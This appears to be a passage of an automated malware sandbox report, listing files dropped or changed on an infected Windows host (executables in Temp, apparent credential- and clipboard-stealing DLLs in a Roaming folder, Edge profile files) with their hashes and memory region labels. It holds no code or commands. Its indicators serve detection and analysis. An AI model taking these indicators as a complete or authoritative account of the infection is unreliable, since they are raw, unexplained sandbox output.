SHA512 7f8ec15063834ba776edd79ff65eff9e22a34f7e0a46751bd19910ddce8fc062e621a676e555cdfa7b40e2cca4640499c5479be90ef69231dabc35c1057b12f0

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 a4f82bfc85e042563708f454c0e2b9cd
SHA1 56ae786cc374cc83244029dbd4f5d4135fc2c7e5
SHA256 df316a33b7892d1d19dcda1ed4bfa6c677a8c278b7d0cae8c561c9c1c261bebd
SHA512 e7b58cbc9674480fdb0bf40a6e415a2f2f380f58c90f1af467f02a35cf8291f50116a7aa9942e95f15842de9f964190bd00f30504807ef99a315c14d60593e01

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe58850a.TMP

MD5 c5c36d4b982a07ea9999bb7b7cd1ed1a
SHA1 b7a48f60b32486919db962020df08eac39e10335
SHA256 99f95a327a09456c53db20845527ab8b894027cbaac08d0834634abcec444f34
SHA512 67d088dee0f96505f89a777348373cf41b2c995db4ddbc8e9a0daeb799d1ce568d9097811e7e947e18169f60ffeda1eaeea30b8cf6a5089253e796b77f602cab

memory/6052-570-0x0000000074530000-0x0000000074CE0000-memory.dmp

memory/6052-571-0x0000000006DE0000-0x0000000006DF0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 3d54507f8a44cf73c0b490acd85e7985
SHA1 ee74af1f46de54ecf858ab876e2f98dcf4cb7462
SHA256 24f10587c5181368cf83cc08e385a0c0b8f8cfeeac331c0f8b4875400ea7cb2e
SHA512 09a58f519715802d403a7977a6af6fefb618df38882fa470374da2715dca253b169539545415d63363008bc67305586c9d299f9d4bb9b2ea3fc1da5b0af8c036

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt

MD5 0e04237605bdfed514de52506bcefc4b
SHA1 6850d55167e6204037ff2bab8d6d4d32d2e82801
SHA256 d14b57ab3cfd07701455d6c60aa1efe5010a985725ed274b13b2dd03d060c529
SHA512 9832e701da859a7d06c2ef011d77d386b02f67c1c43c8f3e74cfa343c262efffa0a387cc95d975ab3ca11a56c2f4289474118cbe40dcd717095f23238fc37634

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt

MD5 fc2cb126b623ba25b7df646d3221c6c2
SHA1 0bcb65f949417f647a57f1ac155be5768e408017
SHA256 81306aa1c5c668b54084dad65bc2c18cae75c6b0ea6cf81f07fd3369ef551848
SHA512 cb744858b63caa68207ee3e9e7c61a3d520fc9d5407e03eae102d126dee4307af1f289e70673e3e228b709abb0f34ecf37b21d106a851314ace18c7d82921250

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt

MD5 546377cc5be67b1902178ffef455c419
SHA1 9fb3b5c17afe61adaa4a541b8295a20627d266f5
SHA256 0ff379a5ef143c8c2e9245691670edc99e8a874d47b8447009528fe55c55d9df
SHA512 523f42d1f116082e0134ac6843a88e99e922f0caaa49aade4762f2d8022663dcb7cf7823aec481c8e16459a4678e0aebcac7487c701517c8e10f4b3239bcadf6

memory/6132-620-0x0000000074530000-0x0000000074CE0000-memory.dmp

memory/6132-621-0x0000000000620000-0x0000000001758000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

MD5 6a085a5ce478080d06a5035eaee7d97c
SHA1 75e774ca09a447b2836a14c9fe5e4d88a4ac37cb
SHA256 4d8d88228d68177f05233f9355fa8b25cee3a9bbcc96b47eeb9f12ec5c828457
SHA512 308d05358754432778f38a00097f2f2b0c085a9eabfe9621d36d46c41b76d54a5c3d54b0c3f194b1ce970d74c8138cad6d7ee57236a5e9ba1b055bbce670b366

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe

MD5 498af485852079b7064dd1675377809f
SHA1 a6a36a996b5f1d2dab2eb4232f65275cb1df4030
SHA256 e56a79a9de6b1e161d5cb6969bd056062565f2525800b38f205bd41eb45bd0f6
SHA512 04c5e5cebf49162b6947172d1409ba8e419e39260aed3832b39e1846b9fd2dcb06590983f2b067f5601b8006bf79d7973df47d2776de5f33621ddc945f98e344

memory/220-639-0x0000000000630000-0x0000000000730000-memory.dmp

memory/220-640-0x0000000000580000-0x0000000000589000-memory.dmp

memory/5860-643-0x0000000000400000-0x0000000000409000-memory.dmp

memory/2860-646-0x00000000005E0000-0x000000000063A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\setup.exe

MD5 cac360e5fb18e8f135b7008cb478e15a
SHA1 37e4f9b25237b12ab283fc70bf89242ab3b83875
SHA256 e8689f69dd3d0a3bd5f6e4b3a85251583c4b3b1dbf03e0c30c6cf0048e6532f8
SHA512 7f0bd6103dd802de4a4665b460c8c178f32e6075094532ec43c83fc1d8595d9495772bf191669f4b72cc2d78f91b06e046a11bbd0ef935b040eeb31e741d2a32

memory/5860-649-0x0000000000400000-0x0000000000409000-memory.dmp

memory/2860-641-0x0000000000400000-0x000000000047E000-memory.dmp

memory/2860-658-0x0000000074530000-0x0000000074CE0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\kos4.exe

MD5 01707599b37b1216e43e84ae1f0d8c03
SHA1 521fe10ac55a1f89eba7b8e82e49407b02b0dcb2
SHA256 cc0dbc1d31ccd9488695b690bd7e7aa4a90ba4b2a5d23ef48b296465f5aa44dd
SHA512 9f9ff29a12d26a7d42656e0faf970c908f1ef428b14e5a5fe7acd06371b96b16eb984e8fbee4e2b906c6db7fb39c9d4a221e79fc3d5e9ca9b59e377875bc5642

memory/1156-672-0x00000000002D0000-0x00000000002D8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\latestX.exe

MD5 bae29e49e8190bfbbf0d77ffab8de59d
SHA1 4a6352bb47c7e1666a60c76f9b17ca4707872bd9
SHA256 f91e4ff7811a5848561463d970c51870c9299a80117a89fb86a698b9f727de87
SHA512 9e6cf6519e21143f9b570a878a5ca1bba376256217c34ab676e8d632611d468f277a0d6f946ab8705121002d96a89274f38458affe3df3a3a1c75e336d7d66e2

memory/1156-679-0x00007FF910040000-0x00007FF910B01000-memory.dmp

memory/4208-681-0x0000000002910000-0x0000000002D14000-memory.dmp

memory/6132-683-0x0000000074530000-0x0000000074CE0000-memory.dmp

memory/4208-684-0x0000000002E20000-0x000000000370B000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe

MD5 11c7e3f85e6511a2310a99d13e4ed50d
SHA1 cf0e5d1a3d6589dd1c5a6e947e669007c8584e7f
SHA256 1854806620227e682b93a98d43c9c93fd4b27a0b960ab1f6264db20dad7e4596
SHA512 d8281c561404b83b7cfcdee368945b616c67038c51f2f92e9cde613b0b6c4fff1d8b5a52ef933a6bad8d479e16c4e52d01c344e96f7834e3bb389eea7982df54

memory/5936-710-0x0000000010000000-0x000000001057B000-memory.dmp

memory/3320-714-0x00000000084F0000-0x0000000008506000-memory.dmp

memory/4892-717-0x0000000000400000-0x0000000000414000-memory.dmp

memory/5860-715-0x0000000000400000-0x0000000000409000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 3f019043b8af933b71f54db0c39db0d6
SHA1 5b2645054bdb34c22b034b39f179384e11c69839
SHA256 a09f526d50d8a738c47f151455002b14274a1a4db27581f97eef728ac666800b
SHA512 3a2a0054b4f69a1e47a0b2b9fc8bdd65432538adb2624be69bc0a7c0887901fc805b87683f78031533a9d0513dd158cf19b66281f01d6c09a184ad3f392706c2

C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll

MD5 a5b509a3fb95cc3c8d89cd39fc2a30fb
SHA1 5aff4266a9c0f2af440f28aa865cebc5ddb9cd5c
SHA256 5f3c80056c7b1104c15d6fee49dac07e665c6ffd0795ad486803641ed619c529
SHA512 3cc58d989c461a04f29acbfe03ed05f970b3b3e97e6819962fc5c853f55bce7f7aba0544a712e3a45ee52ab31943c898f6b3684d755b590e3e961ae5ecd1edb9

C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll

MD5 e913b0d252d36f7c9b71268df4f634fb
SHA1 5ac70d8793712bcd8ede477071146bbb42d3f018
SHA256 4cf5b584cf79ac523f645807a65bc153fbeaa564c0e1acb4dac9004fc9d038da
SHA512 3ea08f0897c1b7b5859961351eef59840bbf319a6ad7ebe1c9e1b5e2ce25588d7b1a37fd6c5417653521fc73f1f42eb043d0ee6fcd645aa92b8f305d726273b4

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT

MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 c31cbae1fdc2eb07bb735688235fffab
SHA1 4e493c9b57b20ef2c0d4069912fdccde7816c431
SHA256 bf56fe13f791f1c621ba768ac2970407855752fe774edfc8800cb735a5f0591c
SHA512 c4b21ce77ac2f1873f86decd1e4697ae5813e677ff54a961100e7654aec2aa47d8c096d4fe7685b1ea4aaa93e6ecad691a5b497e8badef35181ffe83ef078239

memory/3040-832-0x0000000000400000-0x0000000000636000-memory.dmp

memory/4208-833-0x0000000000400000-0x0000000000D1B000-memory.dmp

memory/3020-843-0x00007FF70F520000-0x00007FF70FAC1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h5eko0vz.pjq.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1108-884-0x0000000000400000-0x000000000041B000-memory.dmp

memory/1108-889-0x0000000000400000-0x000000000041B000-memory.dmp

memory/1108-893-0x0000000000400000-0x000000000041B000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\60cf9c47-191d-45db-8fc6-9bb5a0555c34.tmp

MD5 cb1ff74f76ce3e7f9a7f8d36ff3d1f3c
SHA1 c7a1dc35db39b2b0d7c8b24bcecae49fc30cc2bf
SHA256 db5c48a4b5b0c19520287f4826f8fabeaa62396804761797ac5bed66c0aadc08
SHA512 dd086a6e53e8ee239824b78a3f1372b7cab7626d5f1d3f9a37a8737ade38c5cdd7c8b425f995e5ae1a686906d3f89bc2ef13c2d09b97be1cb25d756dc8b3e296

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 21b4e1f202712c1a0c092cb8e600950f
SHA1 9ae34eb7a7b11da2fdfb5b90d5d45be533449fb4
SHA256 8e61355c1d175e56e08da751b7af9fda90b77dfd3fe3ceeb6c05f47367ee642b
SHA512 b6ff7b2ce8814047355dc608b1a441c5c4db08bbcf8e7c436994ad423e25f0268ff60d59dfa2bec7479f79e16c8dc6d932de49248ea2f90604e0d4454330c1a4

memory/4208-965-0x0000000000400000-0x0000000000D1B000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt

MD5 40792ad6e28b93d8397a8e93ea6d9e90
SHA1 5338c12230b1f8d38d45b021a222eafcf7733c1c
SHA256 7a111bf033bd8e812f8cb078446f7fb7c24ab05dab083d042df54a34647885f0
SHA512 ae0d46185c6748f475583c25d80c543411ca506be211f7d22e756342726a57c1980ea851746f5533e0b1e3c7a77344e2256bcf123c2c7ceeca95786e84a354ba

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 10395c19fdcf0b02240e5bd43de22d29
SHA1 acc9efd2fce3fe0eceabe556b7dcf5fb56559ab0
SHA256 5782de886c433f2b9415518cdde4f56547d411ded47e509c50faebbc6a2d6550
SHA512 e9b7fad74a7e81f512e6f26674a9d4d9beb5f6bd0973c5b8c65a883f42ab67a3c3d012afa55208ecfb5402f5e3ac6f62a5082341fe501bc6dfbe0fc8e36b4eb7

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 d90367ee8f35a33bd4fb8351978d7100
SHA1 8a5cc081598b202282ae00b9adfa12286459d64e
SHA256 d898fa1851dea42f00dc726b3e879f3cef5d5db69481853d5a89b9bf4686c2b8
SHA512 8d651d5bcbfe0bde88450c2a0122bf0d323e22951bf4e45133178675b9a28777ba5628e1aba593f4088603c98b38eb80cac940e9dadf9bea8d26fef2a7c386de

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

MD5 10c490da0479a2446f80ddfae5b29301
SHA1 67f8e0381886eefee79796fe6a361d4d5a99ae7e
SHA256 1e2f6c24a56b07153c8ba8bb31dae531ef13e5387c3b27ebaae834400a322d31
SHA512 f08452ce7610fdb5f4ebb4286d3eb106f19f491f4f323ba87bce1dc9ecfa2c5de6b4928a30bbdb36bf1fec4864e4a14b4fdf7d93961f7bdb1b19db0dadad162d

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe5984a7.TMP

MD5 b53cc63fb15e4a864ae6be4fdfc85e81
SHA1 d9c09d8de2e13f559fd014182ff5f89abc6e773a
SHA256 7f2e5e249ac0f2dbbe15af286585748736df08256ea9fba9a7444698e5a0f5d1
SHA512 0c344ed9b5ff4fca569e6a388a28483dd70d9329ea69a2eb050c3c7d68879d035c88b1e35254602ea22ecd086eca4245dd42705ba88ed338f2f24702d8a03152

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 998273613da467ff2d97810e35611b67
SHA1 c2d1a2185639d56c1f2dad23d9bb364cebd3c8b7
SHA256 de4a2a31344de76947f211988322171ffa491d2bf22bf2c3aaab6a235327c080
SHA512 83bc91a96fa1f5b2ea22311553779988ec5e1a95f9272ba6ca2a43bcd4014ea387a05a74ef9917f32b2f0e439aa9b6420ba72e4f13a53c7306ebc1e355be829b

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 0f9a513639cb99cc7657cd4deca9695e
SHA1 e9815a3066a790fea9a5455c980d710e96bead9a
SHA256 75bbbc4c885f275e3cdf43b8a065329f83dea4f02ab54b0a680551128ab3014a
SHA512 8c0bde69a6d559a24f95c94f0b9a3bafb52ea9f678998425988a7b3d2c2edba7bce63b11a71e444a182675fea46c16c9448f319e6cb36776476724b683813091

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 aa68875bd4790a393ee1dc7464982700
SHA1 1c686fdcd20fc13038e2deaa3655a8e79fda8e0d
SHA256 deb12e9e805af5a505880ab8106b11b998e8d4a7b7fe99cd6aacd835053115e1
SHA512 72e703fbed043f300b75f3089ff8d8b9cf55850ae1bcce5eb984bacd550f8c06ecf0b208b9bbf8b3d710351844d72a775410f17d9107613f2df38c50b3d77784

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index

MD5 ef210b89d011aecfd1268978d5c5484c
SHA1 3828cafe9b0a8eb47f217272af86a1fcbc1fb155
SHA256 dfaf6f5b70e351e4b2192a6083279293d92d079274466ce7049c40b4271c908a
SHA512 0b7d8eda8a18585022b07193d9535f91eb715c5c7176e6ed39d3d8969418c2693f8a03e9e47fe2868bf2c90a3f9ecbb95a9a9b49a89e18a319cba68f8a9406fb

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\033596c5-16f4-4a25-ba42-78c9963cd24b\index-dir\the-real-index

MD5 8a21b7689ad55456ccb833ab3b92335a
SHA1 72b42cdd12c10089226ecd08c60868acd0568060
SHA256 a29703e55f43dac8a43747b45bdb212873bacf509fa7d76c783233bb4026109c
SHA512 90c17791496f8d4ae24e87c60d0870078cebe2fcf03840388c9be2bf4e45f774709303cfaa37964aa102d35a119c5021c7522b3ffaa40a38cfa9ed3ef56f663f

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\033596c5-16f4-4a25-ba42-78c9963cd24b\index-dir\the-real-index~RFe59fc58.TMP

MD5 ac7528c845c09d9eb5549884d87f1272
SHA1 39f4bae9caf65a936b9e91edac03ed5bcc7a59b9
SHA256 c24a4d4e8ea8fd853e3aeb5f0b04bc418c38b51a3e0c9aa2208bf8d9f04acbb3
SHA512 121c241b2d300185787a7749712712be711974d6ede3dd76d3b7d773596aaa893fb1157f74d8d247bf03679ccc601d8bc05cf664cf43df3e9da95366c13ee598

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt

MD5 5e85b500c09eafb5d143d12738d15a38
SHA1 3c7526218cd4c79f3ee8a4734a6ee6bf3bed8d06
SHA256 ba63e23b87f73866798555695c540f7b18dbd6734aed15274887499dc3aaee29
SHA512 84c1220b3caa99ea356994afe5a9d31cac34d26db62957ba95bf18f07fc54ce542e892a7f0525bb22fbaa7cea3f9f057e3a7d5c544e79bdd2d9655f1d1e6e494